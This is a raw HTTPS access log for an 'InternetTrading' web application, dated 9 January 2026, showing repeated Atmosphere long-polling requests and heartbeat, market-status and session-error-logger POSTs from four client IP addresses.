[09/Jan/2026:10:10:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924914507 HTTP/1.1" -
[09/Jan/2026:10:10:44 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924913049 HTTP/1.1" -
[09/Jan/2026:10:10:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924928229 HTTP/1.1" -
[09/Jan/2026:10:10:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:10:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924915524 HTTP/1.1" -
[09/Jan/2026:10:10:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924919621 HTTP/1.1" -
[09/Jan/2026:10:10:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924934229 HTTP/1.1" -
[09/Jan/2026:10:10:50 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924919046 HTTP/1.1" -
[09/Jan/2026:10:10:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924920550 HTTP/1.1" -
[09/Jan/2026:10:10:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924924777 HTTP/1.1" -
[09/Jan/2026:10:10:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:10:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:10:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924925573 HTTP/1.1" -
[09/Jan/2026:10:10:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924940227 HTTP/1.1" -
[09/Jan/2026:10:10:56 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924925056 HTTP/1.1" -
[09/Jan/2026:10:10:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924929919 HTTP/1.1" -
[09/Jan/2026:10:11:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924930596 HTTP/1.1" -
[09/Jan/2026:10:11:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924946226 HTTP/1.1" -
[09/Jan/2026:10:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924935052 HTTP/1.1" -
[09/Jan/2026:10:11:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924935625 HTTP/1.1" -
[09/Jan/2026:10:11:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924940145 HTTP/1.1" -
[09/Jan/2026:10:11:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924952227 HTTP/1.1" -
[09/Jan/2026:10:11:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924940675 HTTP/1.1" -
[09/Jan/2026:10:11:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924945187 HTTP/1.1" -
[09/Jan/2026:10:11:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924958231 HTTP/1.1" -
[09/Jan/2026:10:11:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924945708 HTTP/1.1" -
[09/Jan/2026:10:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924950310 HTTP/1.1" -
[09/Jan/2026:10:11:19 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924948055 HTTP/1.1" -
[09/Jan/2026:10:11:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924964236 HTTP/1.1" -
[09/Jan/2026:10:11:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924950742 HTTP/1.1" -
[09/Jan/2026:10:11:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924955458 HTTP/1.1" -
[09/Jan/2026:10:11:25 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924954053 HTTP/1.1" -
[09/Jan/2026:10:11:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924970238 HTTP/1.1" -
[09/Jan/2026:10:11:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924955768 HTTP/1.1" -
[09/Jan/2026:10:11:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924960597 HTTP/1.1" -
[09/Jan/2026:10:11:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924960799 HTTP/1.1" -
[09/Jan/2026:10:11:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924961253 HTTP/1.1" -
[09/Jan/2026:10:11:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924976223 HTTP/1.1" -
[09/Jan/2026:10:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924965756 HTTP/1.1" -
[09/Jan/2026:10:11:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924965835 HTTP/1.1" -
[09/Jan/2026:10:11:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924982228 HTTP/1.1" -
[09/Jan/2026:10:11:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924970817 HTTP/1.1" -
[09/Jan/2026:10:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924967053 HTTP/1.1" -
[09/Jan/2026:10:11:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924970863 HTTP/1.1" -
[09/Jan/2026:10:11:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924975953 HTTP/1.1" -
[09/Jan/2026:10:11:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924988237 HTTP/1.1" -
[09/Jan/2026:10:11:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:11:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924975056 HTTP/1.1" -
[09/Jan/2026:10:11:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924975894 HTTP/1.1" -
[09/Jan/2026:10:11:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924981137 HTTP/1.1" -
[09/Jan/2026:10:11:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924994229 HTTP/1.1" -
[09/Jan/2026:10:11:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924980914 HTTP/1.1" -
[09/Jan/2026:10:11:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924981048 HTTP/1.1" -
[09/Jan/2026:10:11:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:11:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:11:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924986264 HTTP/1.1" -
[09/Jan/2026:10:11:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925000224 HTTP/1.1" -
[09/Jan/2026:10:11:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924985960 HTTP/1.1" -
[09/Jan/2026:10:11:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924987055 HTTP/1.1" -
[09/Jan/2026:10:11:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924991420 HTTP/1.1" -
[09/Jan/2026:10:12:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924991004 HTTP/1.1" -
[09/Jan/2026:10:12:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925006232 HTTP/1.1" -
[09/Jan/2026:10:12:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:12:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:12:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:12:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924993053 HTTP/1.1" -
[09/Jan/2026:10:12:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924996641 HTTP/1.1" -
